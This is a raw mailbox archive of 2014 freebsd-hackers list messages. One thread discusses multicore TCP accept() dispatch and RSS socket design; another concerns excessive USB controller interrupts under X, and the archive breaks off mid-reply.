HTTP; Fri, 6 Jun 2014 16:00:14 -0700 (PDT) Date: Sat, 7 Jun 2014 01:00:14 +0200 Message-ID: Subject: Best practice for accepting TCP connections on multicore? From: Daniel Janzon To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Jun 2014 23:00:16 -0000 Hi, What is the best practice (performance-wise) for dispatching new TCP connections to different threads in order to make use of multiple cores? Is there any better way than doing the accept() call in one thread and then dispatch it to a thread on another core with any user space method? Conceivably one should be able to perform the accept() call from several threads but using the same socket and let the kernel distribute the incoming connections using some kind of hash or round robin. Regards, Daniel From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 6 23:20:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 060627B4 for ; Fri, 6 Jun 2014 23:20:18 +0000 (UTC) Received: from mail-qa0-x236.google.com (mail-qa0-x236.google.com [IPv6:2607:f8b0:400d:c00::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BBD882AF1 for ; Fri, 6 Jun 2014 23:20:17 +0000 (UTC) Received: by mail-qa0-f54.google.com with SMTP id j15so5041301qaq.13 for ; Fri, 06 Jun 2014 16:20:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=59wdCfdyxtuzVBEPGAn1Q14FNTIWYHc7yWuk74zvqIw=; b=dL81F+N8Xg+go7jbZOjuZ4r29V0iFIE2C+b5Q7lPQwHpBOQiTYSBvZIjCpKO89AfRt sbO3Muvn32v7wGU+wiG0baxHHlP3Oe4qgioWp+3pMWa7f2LQNxsCvZ0u0sAGlZx5PwTY e8m239yFt5KPTC5f7C3gGwxuM9IWBlRdVcuLnwb6S0NGtpOrQiRV8vZ/MXiZHE8F71nk 6+ysEKtzQbZWv11jU9hcwNckBmS4rXLWS2z/tnZDl3uy6ZR6cweQEyi/7WLD6UtC7KsO noIUx4nawRFYiVo0kUFWXOe6k/BeBmuF34AsAyXr0oObv2UnWXWzdIk7Ek8IXOJKaMXh Vm4g== MIME-Version: 1.0 X-Received: by 10.224.16.199 with SMTP id p7mr13882095qaa.76.1402096816933; Fri, 06 Jun 2014 16:20:16 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Fri, 6 Jun 2014 16:20:16 -0700 (PDT) In-Reply-To: References: Date: Fri, 6 Jun 2014 16:20:16 -0700 X-Google-Sender-Auth: sSnGXeQTWEuw9b9Ttnx9UlnhKfU Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Daniel Janzon Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Jun 2014 23:20:18 -0000 Hi, I'm working on exactly this with the RSS support that's in the tree. The vague design I have in mind is to have one bound thread per RSS allocated CPU, and then put a listen TCP (and later UDP) socket in each thread. Then the accept path in the TCP/PCB code will do a lookup in the CPU-local PCBGROUP table first to see if there's a local listen socket in that table that's local to that CPU. If so, the request will go to that socket. I'll later add support for multiple sockets listening on the same IP:PORT entry, so you can have multiple threads load balanced (eg on the same CPU, or a small CPU set on a core local to that NIC, etc.) But that'll have to come later - it requires a slightly larger overhaul of how listen entries work in that table. I have a patchset that works and I'll be slowly merging it into -HEAD over the next week. Thanks, -a On 6 June 2014 16:00, Daniel Janzon wrote: > Hi, > > What is the best practice (performance-wise) for dispatching new TCP > connections to different threads in order to make use of multiple cores? > > Is there any better way than doing the accept() call in one thread and then > dispatch it to a thread on another core with any user space method? > > Conceivably one should be able to perform the accept() call from several > threads but using the same socket and let the kernel distribute the > incoming connections using some kind of hash or round robin. > > Regards, > Daniel > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 00:53:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A486A16C for ; Sat, 7 Jun 2014 00:53:10 +0000 (UTC) Received: from elektropost.org (elektropost.org [217.115.13.199]) by mx1.freebsd.org (Postfix) with ESMTP id E8F41236B for ; Sat, 7 Jun 2014 00:53:09 +0000 (UTC) Received: (qmail 20916 invoked from network); 7 Jun 2014 00:53:07 -0000 Received: from elektropost.org (HELO elektropost.org) (erdgeist@erdgeist.org) by elektropost.org with AES256-SHA encrypted SMTP; 7 Jun 2014 00:53:07 -0000 Date: Sat, 7 Jun 2014 02:53:06 +0200 (CEST) From: Dirk Engling To: Daniel Janzon Subject: Re: Best practice for accepting TCP connections on multicore? In-Reply-To: Message-ID: References: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 00:53:10 -0000 On Sat, 7 Jun 2014, Daniel Janzon wrote: > Is there any better way than doing the accept() call in one thread and then > dispatch it to a thread on another core with any user space method? Why use accept() and not kevent()? You need to keep it portable? erdgeist From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 01:08:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E793423 for ; Sat, 7 Jun 2014 01:08:34 +0000 (UTC) Received: from smtp1.bushwire.net (f5.bushwire.net [199.48.133.46]) by mx1.freebsd.org (Postfix) with SMTP id 129B62467 for ; Sat, 7 Jun 2014 01:08:33 +0000 (UTC) Received: (qmail 51759 invoked by uid 1001); 7 Jun 2014 01:01:51 -0000 Delivered-To: qmda-intercept-freebsd-hackers@freebsd.org DomainKey-Signature: a=rsa-sha1; q=dns; c=simple; s=s384; d=delta.emu.st; b=h4iBe5mQlTpOHTAUq4eVg92++21r5TSj6VieYY89sNjDCqvsbpWNaXTxZimz1B0P; Comments: DomainKeys? See http://en.wikipedia.org/wiki/DomainKeys DomainKey-Trace-MD: h=13; b=46; l=C18R70D31M65F38T31S70R80?69M17C39C27I81; Comments: QMDA 0.3 Received: (qmail 51752 invoked by uid 1001); 7 Jun 2014 01:01:51 -0000 Date: 7 Jun 2014 01:01:51 +0000 Message-ID: <20140607010151.51751.qmail@f5-external.bushwire.net> From: "Mark Delany" To: freebsd-hackers@freebsd.org Subject: Re: Best practice for accepting TCP connections on multicore? References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 01:08:34 -0000 On 06Jun14, Adrian Chadd allegedly wrote: > Hi, > > I'm working on exactly this with the RSS support that's in the tree. > > The vague design I have in mind is to have one bound thread per RSS > allocated CPU, and then put a listen TCP (and later UDP) socket in > each thread. The most interesting aspect of this is how you notify a specific thread that it should call accept(). What would be nice is if the listen socket only returns readable (via select/poll/kqueue) on a CPUSET mask. This allows a thread to bind to a cpu then only accept sockets for interfaces best suited to that CPU. A simpler alternative might be to live with the listener-thread model that accepts then farms out the fd, but have a syscall that asks the kernel if there is a preferred CPU for a given socket. Then the listener-thread could use that as a hint to farm out the fd to a CPU-bound thread, something like: for (int bindCPU=0; bindCPU < maxCPU; ++bindCPU) { pool[i] = createThreadPool(bindCPU); } while (select() == 1) { int newfd = accept(); int preferredCPU = syscall_preferredCPU(newfd); /* New fancy syscall */ if (preferredCPU == -1) { /* If no preference, randomize */ preferredCPU = randomInRange(0, maxCPU-1); } pool[preferredCPU]->queueAndNotify(newfd); } If it hasn't already, at the point of calling syscall_preferredCPU() the kernel could make some decisions about binding CPU preferences to the stack for that socket. It would be up to user space to distribute work to the right CPU bound thread - it can choose not to if its pool is unbalanced. Mark. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 02:02:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3EB74451 for ; Sat, 7 Jun 2014 02:02:03 +0000 (UTC) Received: from mail-qa0-x22c.google.com (mail-qa0-x22c.google.com [IPv6:2607:f8b0:400d:c00::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id F31582AF3 for ; Sat, 7 Jun 2014 02:02:02 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id j7so5183917qaq.3 for ; Fri, 06 Jun 2014 19:02:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=BS5Od2VhnrWtr8+6tyi+wOv3eG7hM1h8oLc4RKwzt4Q=; b=RgnfEfiMI3fE2S4WAebV/G7EKYvMskyR2KazWBptUy8cyOWuFSXDRNmkHlKfE9eOQT 08xzP4wFZ30agk3iF11PZvN0pO1lPyHTCzEOfHLY0UKNzzo0PvHJ/ZRyxxjG0/ZyEPTo 6jxDIBzER5pSFEnY/CN7ET+bC6D7Ib32dXoU1yzmp/xfFr2shT8VzD1Gq130EWo9xNPl lOMhHOmidAw8YOeW+5c5MlZZLdlOtHbWpjiphoUxb3Dfg+cm71H+YCbkkb8PNpfBFKlb W2lWHkoi/L2BYEstlcsnr42Stb1EUfgqsL+iKoCBVncEYmI/fi23eckhJjQGP9/6k9VD WuEw== MIME-Version: 1.0 X-Received: by 10.140.91.5 with SMTP id y5mr13741595qgd.12.1402106522094; Fri, 06 Jun 2014 19:02:02 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.43.134 with HTTP; Fri, 6 Jun 2014 19:02:02 -0700 (PDT) In-Reply-To: <20140607010151.51751.qmail@f5-external.bushwire.net> References: <20140607010151.51751.qmail@f5-external.bushwire.net> Date: Fri, 6 Jun 2014 19:02:02 -0700 X-Google-Sender-Auth: Yk_D8L0HmTIylpsEUS6XLRQNSPc Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? From: Adrian Chadd To: Mark Delany Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 02:02:03 -0000 Hi, In the RSS model I'm hacking on: * you query the kernel for the current RSS bucket -> CPU mapping. Right now it's one bucket -> one CPU but at some point it may be one bucket -> cpuset; * you spawn a thread for each RSS bucket; * you pin each thread to the RSS bucket current CPU id; * you create a listen socket in that thread, marked as BINDMULTI (ie, multiple things can listen on this and the kernel will load balance between them) and RSS_BUCKET (ie, please place this socket in the given RSS bucket, rather than the global/wildcard list); * then when a connection comes in, the kernel will first do a lookup for a matching wildcard socket in the per-RSS PCBGROUP, rather than the global wildcard table; * if it finds it, that socket gets the incoming connection. At some point I'll add some notification via kqueue or what not that the RSS buckets need rebalancing, and userland can then re-pin the per-bucket threads. At the moment the hacks I've done only support one listen socket per entry. My hope is that BINDMULTI will do some basic hash to load balance within a set of matching PCB entries - and it'll be combined, so if you do BINDMULTI without RSS, it'll just load balance between multiple sockets with no CPU affinity knowledge. If you do RSS, it'll distribute only CPU-local requests to a thread that's sitting in the right RSS bucket. if you enable both, you can use a thread pool for each RSS bucket CPU and (eventually, when I write it) it'll load balance among those. But for now I'm assuming one incoming thread per RSS bucket will be enough for people to experiment with. anyway, I guess I should email out the details: * http://github.com/erikarn/freebsd - the 'local/rss' branch has the RSS changes to dev/e1000/if_igb.c and netinet/ * http://github.com/erikarn/freebsd-rss - has some RSS examples. Look at rss-http. I haven't yet tested this at > 1GE because all I have at home are igb and em NICs. If someone would like to donate ixgbe and T4 hardware, i'll gratefully take it and do up RSS patches for those drivers. -a On 6 June 2014 18:01, Mark Delany wrote: > On 06Jun14, Adrian Chadd allegedly wrote: >> Hi, >> >> I'm working on exactly this with the RSS support that's in the tree. >> >> The vague design I have in mind is to have one bound thread per RSS >> allocated CPU, and then put a listen TCP (and later UDP) socket in >> each thread. > > The most interesting aspect of this is how you notify a specific > thread that it should call accept(). > > What would be nice is if the listen socket only returns readable (via > select/poll/kqueue) on a CPUSET mask. This allows a thread to bind to > a cpu then only accept sockets for interfaces best suited to that CPU. > > A simpler alternative might be to live with the listener-thread model > that accepts then farms out the fd, but have a syscall that asks the > kernel if there is a preferred CPU for a given socket. Then the > listener-thread could use that as a hint to farm out the fd to a > CPU-bound thread, something like: > > for (int bindCPU=0; bindCPU < maxCPU; ++bindCPU) { > pool[i] = createThreadPool(bindCPU); > } > > while (select() == 1) { > int newfd = accept(); > int preferredCPU = syscall_preferredCPU(newfd); /* New fancy syscall */ > > if (preferredCPU == -1) { /* If no preference, randomize */ > preferredCPU = randomInRange(0, maxCPU-1); > } > > pool[preferredCPU]->queueAndNotify(newfd); > } > > If it hasn't already, at the point of calling syscall_preferredCPU() > the kernel could make some decisions about binding CPU preferences to > the stack for that socket. > > It would be up to user space to distribute work to the right CPU bound > thread - it can choose not to if its pool is unbalanced. > > > Mark. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 13:04:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 41771508 for ; Sat, 7 Jun 2014 13:04:00 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0D2552C56 for ; Sat, 7 Jun 2014 13:04:00 +0000 (UTC) Received: from [192.168.1.68] ([172.15.184.248]) by mail.gmx.com (mrgmxus001) with ESMTPSA (Nemesis) id 0Lb503-1WUwwj41Rx-00kg5X for ; Sat, 07 Jun 2014 15:03:53 +0200 Message-ID: <53930E19.8090603@gmx.us> Date: Sat, 07 Jun 2014 09:05:29 -0400 From: Dutch Ingraham User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Fwd: Interrupt Overload References: <538A3432.5010303@gmx.us> In-Reply-To: <538A3432.5010303@gmx.us> X-Forwarded-Message-Id: <538A3432.5010303@gmx.us> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:g9fSTiwu0u3NjfulV47W3coEBXhwmHBBq9kF4xUgz4K0tOM5ida iZo+j8U5ILk66zQAriDWTsGQXXfK1hCS8TZaq8KLdFREgKvCGfincPOvHSI7TGVi/An7sZQ qkz70aUp5cxhlV8hljENEmKlCOiSa8N+/0EvWzQbFtOvbENgpxqJs7CRS119sH0v283Mu+2 y/Kcn3NjJeO3QlSPcAg1A== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 13:04:00 -0000 Hi everyone - I am resending this as it is not appearing in the archives so I don't believe it made it to the general list-serv. (My apologies if it actually did make it.) -------- Original Message -------- Subject: Interrupt Overload Date: Sat, 31 May 2014 15:57:38 -0400 From: Dutch Ingraham To: freebsd-hackers@freebsd.org Hi all: I hope someone here can help. I've tried the general community but no resolution was found. See "forums dot freebsd dot org slash viewtopic.php?f=3&t=46595". The problem is insanely high interrupts *only* while using xorg-server. For example, or indicates a constant rate of 325000 to 326000 interrupts from irq16: uhci0. This is consuming about 30% of my cpu usage. All is normal in the TTY before starting X. The only usb devices attached are a mouse and keyboard; swapping them makes no difference; in fact, using a PS/2 keyboard or even detaching both the keyboard and mouse has no effect. The only thing I've found that works is suspending to RAM with the command ; upon waking the interrupts drop to near zero. My is "10.0-STABLE amd64." Thanks for any information you can provide. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 13:53:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7146DB8B for ; Sat, 7 Jun 2014 13:53:14 +0000 (UTC) Received: from mail.turbocat.net (heidi.turbocat.net [88.198.202.214]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 309572F91 for ; Sat, 7 Jun 2014 13:53:13 +0000 (UTC) Received: from laptop015.home.selasky.org (cm-176.74.213.204.customer.telag.net [176.74.213.204]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mail.turbocat.net (Postfix) with ESMTPSA id DB57E1FE026; Sat, 7 Jun 2014 15:53:09 +0200 (CEST) Message-ID: <53931963.4040604@selasky.org> Date: Sat, 07 Jun 2014 15:53:39 +0200 From: Hans Petter Selasky User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dutch Ingraham , freebsd-hackers@freebsd.org Subject: Re: Fwd: Interrupt Overload References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> In-Reply-To: <53930E19.8090603@gmx.us> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 13:53:14 -0000 On 06/07/14 15:05, Dutch Ingraham wrote: > > Hi everyone - I am resending this as it is not appearing in the archives > so I don't believe it made it to the general list-serv. (My apologies if > it actually did make it.) > Hi, UHCI controllers should not produce more than 1000 IRQ/s. Is the interrupt perhaps shared? --HPS From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 14:19:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8C06227C for ; Sat, 7 Jun 2014 14:19:54 +0000 (UTC) Received: from mail-qa0-x22f.google.com (mail-qa0-x22f.google.com [IPv6:2607:f8b0:400d:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4B82F2155 for ; Sat, 7 Jun 2014 14:19:54 +0000 (UTC) Received: by mail-qa0-f47.google.com with SMTP id s7so5770338qap.6 for ; Sat, 07 Jun 2014 07:19:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=AftwaK6wQAjxlb7zdwqrSQLl+N9GC5ugBXhpq//BN0c=; b=s3xSj6gZlAJ6fhgE4SUUR+bqBvg0Fx8cgBAeBS8zHIydnI2rmQTw5PvD4s9L7JIj5Y IDxUTmy6QefZbSzROJ3HR10sD4dA9Bw4s7alAgbcrTNxbqZ7lZwk0+Lkn9Zmknn/JkzR Wse2Bp295K0lEr04NkGzUaHQ8/KwuI9/rXRUwGYNA09C408fOiu6xwQGS6zZwM46xc/9 4yrum13hwQDYX4inVNl+eNapir/WzvImqoEOxnU2wNa7TJXc123yy6ijta6Zs3//T0zP 7IwSDZpgWogcfusB6jf4Xhw2nJrYNXJFxsKKJd3s+Mfi6z6zYh46SdnG2Z1Jb9TZAEdz fdNA== X-Received: by 10.224.161.138 with SMTP id r10mr19335165qax.2.1402150793436; Sat, 07 Jun 2014 07:19:53 -0700 (PDT) MIME-Version: 1.0 Sender: mozolevsky@gmail.com Received: by 10.224.100.72 with HTTP; Sat, 7 Jun 2014 07:19:13 -0700 (PDT) In-Reply-To: References: From: Igor Mozolevsky Date: Sat, 7 Jun 2014 15:19:13 +0100 X-Google-Sender-Auth: S34MlG-f8kmUMOzgaGtP3Qbkumc Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? To: Dirk Engling Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Hackers freeBSD , Daniel Janzon X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 14:19:54 -0000 On 7 June 2014 01:53, Dirk Engling wrote: > > On Sat, 7 Jun 2014, Daniel Janzon wrote: > > Is there any better way than doing the accept() call in one thread and >> then >> dispatch it to a thread on another core with any user space method? >> > See C10K problem [1]. Why use accept() and not kevent()? You need to keep it portable? > Has anyone rebutted the threads better than events paper[2] yet? 1. http://www.kegel.com/c10k.html 2. https://www.usenix.org/legacy/events/hotos03/tech/full_papers/vonbehren/vonbehren.pdf -- Igor M. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 14:33:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 04E4B885 for ; Sat, 7 Jun 2014 14:33:26 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C57BB22A5 for ; Sat, 7 Jun 2014 14:33:25 +0000 (UTC) Received: from [192.168.1.68] ([172.15.184.248]) by mail.gmx.com (mrgmxus001) with ESMTPSA (Nemesis) id 0Lu8Nk-1WlCyo1cxC-011Onw for ; Sat, 07 Jun 2014 16:33:24 +0200 Message-ID: <53932314.6010108@gmx.us> Date: Sat, 07 Jun 2014 10:35:00 -0400 From: Dutch Ingraham User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Fwd: Interrupt Overload References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> In-Reply-To: <53931963.4040604@selasky.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:ShMnTo9ucS4H3gVy25AyZBx0QJtEaroI1BEhv+FzYrrAg0Itx51 VNiMXlauem6ORb7WpLaHdrDeS2/H3Dt0sJzemkjv1AhOcD08vmIVKolVl6QpKuoR7Xlu3Xm FHivpsWnxPVQodxt8JUacjIv70OQX7XlBRHMUCbiRJDhHKAGd+W+7F69C1hWz+b4idR/xgd FImi441G9Ukd2Tm4Kfdig== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 14:33:26 -0000 On 06/07/2014 09:53 AM, Hans Petter Selasky wrote: > On 06/07/14 15:05, Dutch Ingraham wrote: >> >> Hi everyone - I am resending this as it is not appearing in the archives >> so I don't believe it made it to the general list-serv. (My apologies if >> it actually did make it.) >> > > Hi, > > UHCI controllers should not produce more than 1000 IRQ/s. Is the > interrupt perhaps shared? > > --HPS > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > Thanks, Hans. Here's some output from : interrupt total rate irq1 atkbd0 48 0 irq16 uhci0 19937714 43248 irq18 atapci0+ 886 1 [snip] There are no other UHCI's in the list. A produces only one instance at uhci0: "uhci0: port 0xff20-0xff3f \ irq16 at device 26.0 on pci0" Is there another command you're thinking of to produce better information? From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 15:09:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E1EFEED8 for ; Sat, 7 Jun 2014 15:09:14 +0000 (UTC) Received: from frv196.fwdcdn.com (frv196.fwdcdn.com [212.42.77.196]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9C90124D7 for ; Sat, 7 Jun 2014 15:09:14 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ukr.net; s=ffe; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Cc:To:Subject:From:Date; bh=wQFnJTvgLyLb1iUwES0cqeUkqePvU7nc9TS/UxQxD3s=; b=cmSH/TKh0hkjnUEVSsP+9sanIWVViidtS1dzRyQDnsa6RKfyONI0gAfQAO5wTuXVA8AVVjqiYbeNL7NzxQhimpooZYqoRbzpjrXlW6hJgeICUKhXVkdJUzN2fhbvzfsuuJYoFTWIuoHiCExsC6cwoFbS+2qNKD4AwYvoQ2R5qso=; Received: from [10.10.10.35] (helo=frv35.fwdcdn.com) by frv196.fwdcdn.com with smtp ID 1WtIEw-0004nj-Bi for freebsd-hackers@freebsd.org; Sat, 07 Jun 2014 18:09:02 +0300 Date: Sat, 07 Jun 2014 18:09:01 +0300 From: Vladislav Prodan Subject: Re[2]: Fwd: Interrupt Overload To: Dutch Ingraham X-Mailer: mail.ukr.net 5.0 Message-Id: <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> In-Reply-To: <53932314.6010108@gmx.us> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> MIME-Version: 1.0 Received: from universite@ukr.net by frv35.fwdcdn.com; Sat, 07 Jun 2014 18:09:02 +0300 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: binary Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 15:09:15 -0000 --- Original message --- From: "Dutch Ingraham" Date: 7 June 2014, 17:33:33 > On 06/07/2014 09:53 AM, Hans Petter Selasky wrote: > > On 06/07/14 15:05, Dutch Ingraham wrote: > >> > >> Hi everyone - I am resending this as it is not appearing in the archives > >> so I don't believe it made it to the general list-serv. (My apologies if > >> it actually did make it.) > >> > > > > Hi, > > > > UHCI controllers should not produce more than 1000 IRQ/s. Is the > > interrupt perhaps shared? > > > > --HPS > > > > _______________________________________________ > > 